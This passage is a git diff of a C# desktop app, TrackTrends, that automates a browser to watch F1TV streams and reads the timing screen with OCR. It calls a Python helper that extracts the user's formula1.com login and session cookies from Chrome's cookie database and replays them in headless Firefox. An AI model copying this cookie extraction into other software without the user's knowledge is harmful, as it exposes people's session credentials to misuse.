b/docs/Code/F1TVEmulator.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website -/// Version : 0.1 +/// Version : Alpha 1.0 using OpenQA.Selenium; using OpenQA.Selenium.Firefox; @@ -18,7 +18,7 @@ using System.Text; using System.Threading; using System.Threading.Tasks; -namespace Test_Merge +namespace TrackTrends { internal class F1TVEmulator { @@ -39,6 +39,9 @@ namespace Test_Merge GrandPrixUrl = grandPrixUrl; Ready = false; } + /// + /// Will start the python programm that runs the Cookie Recovering + /// private void StartCookieRecovering() { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME; @@ -51,43 +54,56 @@ namespace Test_Merge string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); } + /// + /// Method that will recover the needed cookies in the DB + /// + /// The host of the wanted cookie ex: ./formula1.com + /// The name of the wanted cookie ex: login + /// returns the value of the cookie if it has been found + /// public string GetCookie(string host, string name) { StartCookieRecovering(); string value = ""; List cookies = new List(); - using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) + if (File.Exists(COOKIES_CSV_FILENAME)) { - // Read the header row and validate column order - string header = reader.ReadLine(); - string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" }; - string[] actualColumns = header.Split(','); - for (int i = 0; i < expectedColumns.Length; i++) + using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) { - if (expectedColumns[i] != actualColumns[i]) + // Read the header row and validate column order + string header = reader.ReadLine(); + string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" }; + string[] actualColumns = header.Split(','); + for (int i = 0; i < expectedColumns.Length; i++) { - throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'"); + if (expectedColumns[i] != actualColumns[i]) + { + throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'"); + } } - } - // Read each data row and parse values into a Cookie object - while (!reader.EndOfStream) - { - string line = reader.ReadLine(); - string[] fields = line.Split(','); - - string hostname = fields[0]; - string cookieName = fields[1]; - - if (hostname == host && cookieName == name) + // Read each data row and parse values into a Cookie object + while (!reader.EndOfStream) { - value = fields[2]; + string line = reader.ReadLine(); + string[] fields = line.Split(','); + + string hostname = fields[0]; + string cookieName = fields[1]; + + if (hostname == host && cookieName == name) + { + value = fields[2]; + } } } } - return value; } + /// + /// Starts the headless browser + /// + /// Error code 1xx public async Task Start() { Ready = false; @@ -97,8 +113,9 @@ namespace Test_Merge string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName); string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName); - int windowWidth = 1920; - int windowHeight = 768; + //Cookie retreival has gone wrong (usually its because of python not being installed properly) + if (loginCookieValue == "" || loginSessionValue == "") + return 100; var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME); service.Host = "127.0.0.1"; @@ -193,10 +210,10 @@ namespace Test_Merge // It does not matter if the feed is paused because when changing channel it autoplays actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform(); //Clicks on the settings Icon - - int tries = 0; - bool success = false; - while (tries < 100 && !success) + + int settingsClickTries = 0; + bool settingsClickSuccess = false; + while (settingsClickTries < 100 && !settingsClickSuccess) { Thread.Sleep(100); try @@ -207,17 +224,17 @@ namespace Test_Merge SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']")); selectOption.Click(); - success = true; + settingsClickSuccess = true; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry - success = false; - tries++; + settingsClickSuccess = false; + settingsClickTries++; } } - - if (!success) + + if (!settingsClickSuccess) { Screenshot("ERROR105"); Driver.Dispose(); @@ -227,15 +244,27 @@ namespace Test_Merge Screenshot("BEFOREFULLSCREEN"); //Makes the feed fullscreen - //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); + int fullScreenClickTries = 0; + bool fullScreenClickSuccess = false; Driver.Manage().Window.Maximize(); - WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); - try + //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); + while (fullScreenClickTries < 100 && !fullScreenClickSuccess) { - IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton")); - fullScreenButton.Click(); + Thread.Sleep(150); + try + { + IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton")); + fullScreenButton.Click(); + fullScreenClickSuccess = true; + } + catch + { + fullScreenClickSuccess = false; + fullScreenClickTries++; + } } - catch + + if (!fullScreenClickSuccess) { Screenshot("ERROR106"); Driver.Dispose(); @@ -248,18 +277,22 @@ namespace Test_Merge Ready = true; return 0; } + /// + /// Takes a screenshot of what the headless browser is displaying + /// + /// Optional ! The name of the picture so it can be saved + /// Returns the screenshot in the bitmap format public Bitmap Screenshot(string name = "TEST") { Bitmap result = new Bitmap(4242, 6969); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); - //profileriver.SetPreference("layout.css.devPixelsPerPx", "1.0"); - + //profileriver.SetPreferencC:\Users\Moi\source\repos\Test_Merge\README.mde("layout.css.devPixelsPerPx", "1.0"); + //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver.GetScreenshot(); - byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString); MemoryStream stream = new MemoryStream(screenshotBytes); @@ -273,15 +306,23 @@ namespace Test_Merge } return result; } + /// + /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead + /// public void Stop() { Ready = false; - Driver.Dispose(); + if (Driver != null) + Driver.Dispose(); } + /// + /// Resets the emulation + /// public void ResetDriver() { Ready = false; - Driver.Dispose(); + if (Driver != null) + Driver.Dispose(); Driver = null; } } diff --git a/docs/Code/Form1.cs b/docs/Code/Form1.cs index 1c621e8..0ee7951 100644 --- a/docs/Code/Form1.cs +++ b/docs/Code/Form1.cs @@ -2,26 +2,421 @@ using System.Collections.Generic; using System.ComponentModel; using System.Data; +using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; +using System.IO; -namespace Test_Merge +namespace TrackTrends { - public partial class Form1 : Form - { - public Form1() + public partial class Main : Form + { + //private Reader Reader = null; + private F1TVEmulator Emulator = null; + private DataWrapper Wrapper = null; + private bool cancelRequested = false; + private SemaphoreSlim semaphore = new SemaphoreSlim(1); + + string ConfigFile = ""; + string GpUrl = ""; + + //For the responsive content + + Size oldSize = new Size(); + Size oldRankingSize = new Size(); + Size oldLapTimesSize = new Size(); + Size oldBattles = new Size(); + + Size oldPnlBattles = new Size(); + Size oldPnlRankings = new Size(); + Size oldPnlFastest = new Size(); + Size oldPnlSlowest = new Size(); + + Point oldRankingPosition = new Point(); + Point oldBattlePosition = new Point(); + Point oldDriverInfoPosition = new Point(); + + Point olPnlFastestPosition = new Point(); + Point oldPnlSlowestPosition = new Point(); + + public Main() { InitializeComponent(); } - - private void btnSettings_Click(object sender, EventArgs e) + public async void RefreshUI() { + if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME)) + { + lsbPresets.DataSource = null; + lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME); + } + } + private async void btnSettings_Click(object sender, EventArgs e) + { + if (Emulator != null) + Emulator.ResetDriver(); + + btnStartDecoding.Enabled = false; + btnStopUpdating.Enabled = false; + btnResetEmulator.Text = "Launch"; + + Emulator = null; + Wrapper = null; + + GC.Collect(); + Settings settingsForm = new Settings(); settingsForm.ShowDialog(); - MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); + RefreshUI(); + //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); + if (settingsForm.GrandPrixUrl != "" && settingsForm.SelectedConfigFile != "") + { + GpUrl = settingsForm.GrandPrixUrl; + tbxGpUrl.Text = GpUrl; + if (File.Exists(settingsForm.SelectedConfigFile)) + { + ConfigFile = settingsForm.SelectedConfigFile; + for(int i = 0; i < lsbPresets.Items.Count; i++) + { + if (lsbPresets.Items[i].ToString() == ConfigFile) + lsbPresets.SelectedIndex = i; + } + } + else + { + MessageBox.Show("The config file has not been found please return to the config and change it"); + } + } + else + { + //WE dont care anymore, the user will choose its Grand Prix himself in the main program + //MessageBox.Show("There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one"); + } + } + + private async void Form1_Load(object sender, EventArgs e) + { + //Those are the default values but they will need to be changed later when the configuration has been done + ConfigFile = "./Presets/Clean_4K_2023.json"; + GpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play"; + + tbxGpUrl.Text = GpUrl; + + oldSize = this.Size; + oldRankingSize = gpbxRanking.Size; + oldLapTimesSize = gpbxLapTimes.Size; + oldBattles = gpbxBattles.Size; + + oldPnlRankings = pnlLiveRanking.Size; + oldPnlBattles = pnlBattles.Size; + oldPnlFastest = pnlFastest.Size; + oldPnlSlowest = pnlSlowest.Size; + + oldRankingPosition = gpbxRanking.Location; + oldBattlePosition = gpbxBattles.Location; + oldDriverInfoPosition = gpbxDriverInfos.Location; + + olPnlFastestPosition = pnlFastest.Location; + oldPnlSlowestPosition = pnlSlowest.Location; + + tip1.SetToolTip(btnResetEmulator, "Starts or restarts the emulator. You need to start this to use the app"); + tip1.SetToolTip(btnSettings, "Opens the configuration menu"); + tip1.SetToolTip(tbxGpUrl, "Insert the URL of the Grand Prix you want to track. Dont forget the \"?action=play\" at the end"); + tip1.SetToolTip(lsbPresets, "Select a configuration preset to use with the decoding"); + tip1.SetToolTip(pbxResult,"A preview of what the program sees. You should see the DATA page of the F1TV here"); + tip1.SetToolTip(lsbOvertakes,"A list of all the activity. You can scroll to see the most recent overtakes"); + tip1.SetToolTip(gpbxBattles,"The four first battles in the field. A battle is two drivers less than 3 seconds apart"); + tip1.SetToolTip(gpbxLapTimes,"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest"); + + RefreshUI(); + } + + private async void btnUpdate_Click(object sender, EventArgs e) + { + cancelRequested = false; + if (Emulator != null && Wrapper != null) + { + // Disable UI controls to prevent re-entrancy + btnResetEmulator.Enabled = false; + btnStartDecoding.Enabled = false; + btnStopUpdating.Enabled = true; + btnSettings.Enabled = false; + while (!cancelRequested) + { + await semaphore.WaitAsync(); + + try + { + // Start the time-consuming task on a separate thread + await Task.Run(async () => + { + Stopwatch sw = new Stopwatch(); + sw.Start(); + + Bitmap screen = Emulator.Screenshot(); + screen.Save("HopefullyDataScreenshot.png"); + + Invoke((MethodInvoker)delegate + { + pbxResult.Image = (Bitmap)screen.Clone(); + }); + + Wrapper.ChangeImage(screen); + int errorCode = Wrapper.Refresh(); + + sw.Stop(); + // Task completed + Invoke((MethodInvoker)delegate + { + DisplayResults(errorCode, sw, screen); + DisplayBattles(); + DisplayDeltas(); + DisplayOvertakes(); + }); + }); + } + finally + { + semaphore.Release(); + } + } + // Re-enable UI controls + btnStopUpdating.Text = "Stop"; + btnStartDecoding.Enabled = true; + btnStopUpdating.Enabled = false; + btnResetEmulator.Enabled = true; + btnSettings.Enabled = true; + } + } + private void DisplayOvertakes() + { + Wrapper.DisplayOvertakes(lsbOvertakes); + } + private void DisplayBattles() + { + Wrapper.DisplayBattles(pnlBattles, this); + } + private void DisplayDeltas() + { + Wrapper.DisplayTimesDeltas(pnlFastest, pnlSlowest, this); + } + private void Form1_FormClosing(object sender, FormClosingEventArgs e) + { + if (Emulator != null) + { + Emulator.Stop(); + } + } + private void DisplayResults(int errorCode, Stopwatch sw, Bitmap screen) + { + if (errorCode != 0) + { + cancelRequested = true; + MessageBox.Show("An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration."); + } + else + { + Wrapper.DisplayLiveRanking(pnlLiveRanking, this); + } + } + + private void btnStopUpdating_Click(object sender, EventArgs e) + { + // Set the cancellation flag + cancelRequested = true; + btnStopUpdating.Enabled = false; + btnResetEmulator.Enabled = false; + btnStopUpdating.Text = "Stopping"; + } + private async void button1_Click(object sender, EventArgs e) + { + lsbOvertakes.Items.Clear(); + btnResetEmulator.Text = "Launching"; + btnResetEmulator.Enabled = false; + btnSettings.Enabled = true; + btnStartDecoding.Enabled = false; + btnStopUpdating.Enabled = false; + btnSettings.Enabled = false; + int errorCode = -1; + await Task.Run(async () => + { + if (Emulator != null) + Emulator.ResetDriver(); + + Emulator = null; + Wrapper = null; + + GC.Collect(); + + Emulator = new F1TVEmulator(GpUrl); + errorCode = await Emulator.Start(); + }); + + if (errorCode != 0) + { + string message = ""; + switch (errorCode) + { + case 100: + message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again"; + break; + case 101: + message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again"; + break; + case 102: + message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update"; + break; + case 103: + message = "Error " + errorCode + " The url is not a valid url"; + break; + case 104: + message = "Error " + errorCode + " The url is not a valid url"; + break; + case 105: + message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again"; + break; + case 106: + message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again"; + break; + default: + message = "Could not start the emulator Error " + errorCode; + break; + } + MessageBox.Show(message); + + btnResetEmulator.Enabled = true; + btnSettings.Enabled = true; + btnResetEmulator.Text = "Retry"; + } + else + { + Wrapper = new DataWrapper(ConfigFile, Emulator.Screenshot()); + btnResetEmulator.Text = "Re launch"; + btnResetEmulator.Enabled = true; + btnSettings.Enabled = true; + btnStartDecoding.Enabled = true; + } + } + private void removeBorders(object sender, PaintEventArgs e) + { + GroupBox gpbx = (GroupBox)sender; + + using (Pen pen = new Pen(gpbx.BackColor, 50)) + { + e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1); + e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1); + } + + using (var brush = new SolidBrush(gpbx.ForeColor)) + { + var textPosition = new Point(5, 0); // Adjust the X and Y values as needed + e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition); + } + } + private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) + { + if (lsbPresets.SelectedIndex >= 0) + ConfigFile = lsbPresets.Items[lsbPresets.SelectedIndex].ToString(); + } + + private void textBox1_TextChanged(object sender, EventArgs e) + { + if (tbxGpUrl.Text != "") + GpUrl = tbxGpUrl.Text; + } + public void btnDriver_Click(object sender, EventArgs e) + { + //Removes the cover + if (pnlCover.Visible = true) + pnlCover.Visible = false; + //Happens when a driver button has been clicked + //MessageBox.Show((sender as Button).Name + " has been selected"); + Button btn = (sender as Button); + string[] parts = btn.Name.Split('_'); + DriverData driver = Wrapper.GetFullDriverData(parts[0], pnlCurrentDriverLapsHistory, this); + lblCurrentDriverName.Text = driver.Name; + lblCurrentDriverPosition.Text = driver.Position.ToString(); + lblCurrentDriverGapToLeader.Text = Reader.ConvertMsToTime(driver.GapToLeader); + lblCurrentDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime); + lblCurrentDriverTyreAge.Text = driver.CurrentTyre.NumberOfLaps.ToString(); + if (driver.DRS) + { + lblCurrentDriverDRS.Text = "Open"; + lblCurrentDriverDRS.ForeColor = Color.FromArgb(0, 164, 46); + } + else + { + lblCurrentDriverDRS.Text = "Closed"; + lblCurrentDriverDRS.ForeColor = Color.Black; + } + switch (driver.CurrentTyre.Coumpound) + { + case Tyre.Type.Undefined: + lblCurrentDriverTyreType.Text = "uuuuh..."; + lblCurrentDriverTyreType.ForeColor = Color.Violet; + break; + case Tyre.Type.Hard: + lblCurrentDriverTyreType.Text = "Hard"; + lblCurrentDriverTyreType.ForeColor = Color.FromArgb(164, 165, 168); + break; + case Tyre.Type.Medium: + lblCurrentDriverTyreType.Text = "Medium"; + lblCurrentDriverTyreType.ForeColor = Color.FromArgb(245, 191, 0); + break; + case Tyre.Type.Soft: + lblCurrentDriverTyreType.Text = "Soft"; + lblCurrentDriverTyreType.ForeColor = Color.FromArgb(255, 0, 0); + break; + case Tyre.Type.Inter: + lblCurrentDriverTyreType.Text = "Intermediate"; + lblCurrentDriverTyreType.ForeColor = Color.FromArgb(0, 164, 46); + break; + case Tyre.Type.Wet: + lblCurrentDriverTyreType.Text = "Wet"; + lblCurrentDriverTyreType.ForeColor = Color.FromArgb(39, 96, 166); + break; + } + } + public void btnLapTime_Click(object sender, EventArgs e) + { + //Happens when a lapTime has been clicked + Button btn = sender as Button; + string[] parts = btn.Name.Split('_'); + Wrapper.DisplayLapTimeInfos(parts[0], Convert.ToInt32(parts[1]), btn.Text); + } + + private void Main_Resize(object sender, EventArgs e) + { + int xDiff = this.Width - oldSize.Width; + int yDiff = this.Height - oldSize.Height; + int padding = 10; + //This will take half the newly created space + gpbxRanking.Size = new Size(oldRankingSize.Width + xDiff / 2, oldRankingSize.Height + yDiff); + gpbxRanking.Location = new Point(oldRankingPosition.X + xDiff / 2, gpbxRanking.Location.Y); + //Will take half the new height and half the new height + gpbxLapTimes.Size = new Size(oldLapTimesSize.Width + xDiff / 2, oldLapTimesSize.Height + yDiff / 2); + //Will take half the new height and half the new width + gpbxBattles.Size = new Size(oldBattles.Width + xDiff / 2, oldBattles.Height + yDiff / 2); + gpbxBattles.Location = new Point(gpbxBattles.Location.X, oldBattlePosition.Y + yDiff / 2); + //The infos wont change width but will need to be centerd + Point startOfZone = new Point(gpbxOvertakes.Width + gpbxOvertakes.Location.X, gpbxOvertakes.Location.Y); + Point endOfZone = new Point(gpbxRanking.Location.X, gpbxOvertakes.Location.Y); + int totalWidth = endOfZone.X - startOfZone.X; + gpbxDriverInfos.Location = new Point(startOfZone.X + (totalWidth / 2 - gpbxDriverInfos.Width / 2), oldDriverInfoPosition.Y + yDiff); + //Now resizing internals + pnlFastest.Size = new Size(oldPnlFastest.Width + xDiff / 4,oldPnlFastest.Height + yDiff / 4); + pnlFastest.Location = new Point(olPnlFastestPosition.X,olPnlFastestPosition.Y + yDiff / 4); + + pnlSlowest.Size = new Size(oldPnlSlowest.Width + xDiff / 4, oldPnlSlowest.Height + yDiff / 4); + pnlSlowest.Location = new Point(oldPnlSlowestPosition.X + xDiff / 4, oldPnlSlowestPosition.Y + yDiff / 4); + + pnlBattles.Size = new Size(oldPnlBattles.Width + xDiff / 2,oldPnlBattles.Height + yDiff / 2); + + pnlLiveRanking.Size = new Size(oldPnlRankings.Width + xDiff / 2,oldPnlRankings.Height + yDiff); } } } diff --git a/docs/Code/OcrImage.cs b/docs/Code/OcrImage.cs index e66192a..15878d5 100644 --- a/docs/Code/OcrImage.cs +++ b/docs/Code/OcrImage.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,7 +11,7 @@ using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; -namespace Test_Merge +namespace TrackTrends { public class OcrImage { @@ -44,28 +44,57 @@ namespace Test_Merge public Bitmap Enhance(WindowType type = WindowType.Text) { Bitmap outputBitmap = (Bitmap)InputBitmap.Clone(); + //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists switch (type) { - case WindowType.LapTime: - outputBitmap = Tresholding(outputBitmap, 185); + case WindowType.Gap: + //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\raw_" + id + ".png"); + + outputBitmap = Tresholding(outputBitmap, 165); + //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\treshold_" + id + ".png"); + outputBitmap = Resize(outputBitmap, 2); + //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\resize_" + id + ".png"); + outputBitmap = Dilatation(outputBitmap, 1); - outputBitmap = Erode(outputBitmap, 1); + //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png"); + break; + case WindowType.Sector: + //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\raw_" + id + ".png"); + + outputBitmap = VanishOxyAction(outputBitmap); + //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\vanish_" + id + ".png"); + + outputBitmap = Tresholding(outputBitmap, 150); + //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png"); + break; + case WindowType.LapTime: + //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\raw_" + id + ".png"); + + outputBitmap = Tresholding(outputBitmap,185); + //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\Treshold_" + id + ".png"); + + outputBitmap = SobelEdgeDetection(outputBitmap); + //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\SobelDetection_" + id + ".png"); break; case WindowType.Text: - outputBitmap = InvertColors(outputBitmap); + //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\raw_" + id + ".png"); + outputBitmap = Tresholding(outputBitmap, 165); - outputBitmap = Resize(outputBitmap, 2); - outputBitmap = Dilatation(outputBitmap, 1); + //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png"); break; case WindowType.Tyre: + //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\raw_" + id + ".png"); + outputBitmap = RemoveUseless(outputBitmap); - outputBitmap = Resize(outputBitmap, 4); + //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\uselessRemoved_" + id + ".png"); + outputBitmap = Dilatation(outputBitmap, 1); + //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png"); break; default: outputBitmap = Tresholding(outputBitmap, 165); - outputBitmap = Resize(outputBitmap, 4); + outputBitmap = Resize(outputBitmap, 2); outputBitmap = Erode(outputBitmap, 1); break; } @@ -99,7 +128,112 @@ namespace Test_Merge //Those a specific values to correct the weights so its more pleasing to the human eye int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11); - pixel[0] = pixel[1] = pixel[2] = (byte)gray; + //This is not a proper treshold method but it is helping the sobel edge detection + if(gray <= F1TV_BACKGROUND_TRESHOLD.R) + { + pixel[0] = pixel[1] = pixel[2] = 0; + } + else + { + pixel[0] = pixel[1] = pixel[2] = (byte)gray; + } + } + } + } + inputBitmap.UnlockBits(bmpData); + + return inputBitmap; + } + /// + /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR + /// + /// The image with the sobel edge detection used + /// + private Bitmap SobelEdgeDetection(Bitmap grayscaleImage) + { + // Create a new bitmap for the edges + Bitmap edgesImage = new Bitmap(grayscaleImage.Width, grayscaleImage.Height); + + // Define the Sobel operators + // Its just a matrix that we will use on the all image + int[,] sobelX = { { -1, 0, 1 }, { -2, 0, 2 }, { -1, 0, 1 } }; + int[,] sobelY = { { -1, -2, -1 }, { 0, 0, 0 }, { 1, 2, 1 } }; + + // Apply the Sobel operators and normalize the gradients + // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible. + for (int y = 1; y < grayscaleImage.Height - 1; y++) + { + for (int x = 1; x < grayscaleImage.Width - 1; x++) + { + int gradientX = CalculateGradient(grayscaleImage, sobelX, x, y); + int gradientY = CalculateGradient(grayscaleImage, sobelY, x, y); + int gradient = (int)Math.Sqrt(gradientX * gradientX + gradientY * gradientY); + + // Normalize the gradient value + // In some rare cases the value can exceed 255 so we limit it with the Math.Min method + gradient = Math.Min(255, Math.Max(0, gradient)); + + edgesImage.SetPixel(x, y, Color.FromArgb(gradient, gradient, gradient)); + } + } + + return edgesImage; + } + /// + /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method) + /// + /// The input image with the grayscale processing already done + /// The matrix to apply + /// + /// + /// Returns the processed gradient + private int CalculateGradient(Bitmap grayscaleImage, int[,] sobelOperator, int x, int y) + { + int gradient = 0; + + for (int j = -1; j <= 1; j++) + { + for (int i = -1; i <= 1; i++) + { + int pixelX = grayscaleImage.GetPixel(x + i, y + j).R; + gradient += sobelOperator[j + 1, i + 1] * pixelX; + } + } + + return gradient; + } + /// + /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling + /// + /// The bitmap to vanish + /// + public static Bitmap VanishOxyAction(Bitmap inputBitmap) + { + Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height); + BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat); + int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8; + + unsafe + { + //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT + byte* ptr = (byte*)bmpData.Scan0.ToPointer(); + for (int y = 0; y < inputBitmap.Height; y++) + { + byte* currentLine = ptr + (y * bmpData.Stride); + for (int x = 0; x < inputBitmap.Width; x++) + { + byte* pixel = currentLine + (x * bytesPerPixel); + + int blue = (int)pixel[0]; + int green = (int)pixel[1]; + int red = (int)pixel[2]; + + int max = Math.Max(Math.Max(blue, green), red); + + if (max > 255 / 3) + max = 255; + + pixel[0] = pixel[1] = pixel[2] = (byte)max; } } } @@ -267,7 +401,7 @@ namespace Test_Merge int G = pixel[1]; int R = pixel[2]; - if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15) + if (R >= F1TV_BACKGROUND_TRESHOLD.R +25|| G >= F1TV_BACKGROUND_TRESHOLD.G +25|| B >= F1TV_BACKGROUND_TRESHOLD.B +25) { pixel[0] = 0xFF; pixel[1] = 0xFF; @@ -324,7 +458,7 @@ namespace Test_Merge } inputBitmap.UnlockBits(bmpData); - return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels)); + return Color.FromArgb(255,Math.Min(Convert.ToInt32((float)totR / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totG / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totB / (float)totPixels),255)); } /// /// This method simply inverts all the colors in a Bitmap diff --git a/docs/Code/Program.cs b/docs/Code/Program.cs index 3c24f79..f995bc2 100644 --- a/docs/Code/Program.cs +++ b/docs/Code/Program.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; -namespace Test_Merge +namespace TrackTrends { internal static class Program { @@ -16,7 +16,7 @@ namespace Test_Merge { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Form1()); + Application.Run(new Main()); } } } diff --git a/docs/Code/Reader.cs b/docs/Code/Reader.cs index f15ce72..d1d4c30 100644 --- a/docs/Code/Reader.cs +++ b/docs/Code/Reader.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -14,7 +14,7 @@ using System.Windows.Forms; using System.IO; using System.Text.Json; -namespace Test_Merge +namespace TrackTrends { public class Reader { @@ -22,123 +22,188 @@ namespace Test_Merge public List Drivers; public List MainZones; - public Reader(string configFile, Bitmap image,bool loadOCR = true) + private SqliteStorage _storage; + private List[] DriverDataLogs = new List[NUMBER_OF_DRIVERS]; + private int[] DriverLaps = new int[NUMBER_OF_DRIVERS]; + + public SqliteStorage Storage { get => _storage; private set => _storage = value; } + + public Reader(string configFile, Bitmap image, bool loadOCR = true) { - MainZones = Load(image,configFile,ref Drivers,loadOCR); + Storage = new SqliteStorage(); + MainZones = Load(image, configFile, ref Drivers, loadOCR); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on - public static List Load(Bitmap image,string configFilePath,ref List driverListToFill,bool LoadOCR) + public List Load(Bitmap image, string configFilePath, ref List driverListToFill, bool LoadOCR) { + // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last + // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image List mainZones = new List(); Bitmap fullImage = image; - List drivers; Zone mainZone; + for (int i = 0; i < NUMBER_OF_DRIVERS; i++) + { + DriverDataLogs[i] = new List(); + DriverLaps[i] = 0; + } + try { - using (var streamReader = new StreamReader(configFilePath)) + string jsonString = File.ReadAllText(configFilePath); + + JsonDocument document = JsonDocument.Parse(jsonString); + + JsonElement root = document.RootElement; + + mainZones = new List(); + driverListToFill = new List(); + + JsonElement main = root.GetProperty("Main"); + + int x = main.GetProperty("x").GetInt32(); + int y = main.GetProperty("y").GetInt32(); + int width = main.GetProperty("width").GetInt32(); + int height = main.GetProperty("height").GetInt32(); + + mainZone = new Zone(fullImage, new Rectangle(x, y, width, height), "Main"); + + mainZone.ResetWindows(); + mainZone.ResetZones(); + + JsonElement driverZones = main.GetProperty("DriverZones"); + + foreach (JsonElement driverZoneElement in 